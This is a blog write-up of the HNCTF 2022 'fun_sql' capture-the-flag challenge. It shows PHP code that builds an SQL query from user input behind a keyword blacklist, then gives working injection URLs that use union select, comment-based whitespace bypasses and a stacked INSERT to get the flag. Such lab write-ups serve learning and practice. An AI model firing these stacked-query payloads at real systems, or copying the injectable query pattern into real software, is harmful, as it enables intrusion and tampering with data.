[HNCTF 2022 WEEK4]fun_sql

[HNCTF 2022 WEEK4]fun_sql

 <?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

    $uname=$_GET['uname'];

    if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
        die('hacker');
        
    }
    
    $sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
    echo "$sql<br>";
    

    mysqli_multi_query($db, $sql);
    $result = mysqli_store_result($db);
    $row = mysqli_fetch_row($result);

    echo "<br>";

    echo "<br>";
    if (!$row) {
        die("something wrong");
    }
    else
    {
        print_r($row);
        echo $row['uname']."<br>";
        
    }
    if ($row[1] === $uname)
    {
    die($flag);
    }
}
highlight_file(__FILE__); 

代码检查$row是否为空,如果为空,则输出"something wrong"并终止执行。如果row不为空,代码将打印出row的内容,并尝试判断row的第二个元素是否等于uname。如果相等,代码将输出$flag.

查询列数:

http://node2.anna.nssctf.cn:28584/?uname=0'/**/union/**/select/**/1,database(),3/**/'1

插入数据:

http://node2.anna.nssctf.cn:28584/?uname=0'/**/union/**/select/**/1,database(),3/**/;insert into ccctttfff values('111','aaa','bbb');'1

使uname=aaa:

http://node2.anna.nssctf.cn:28584/?uname=aaa

image-20230709133352032

posted @ 2023-07-09 13:35  Magic水瓶  阅读(212)  评论(0)    收藏  举报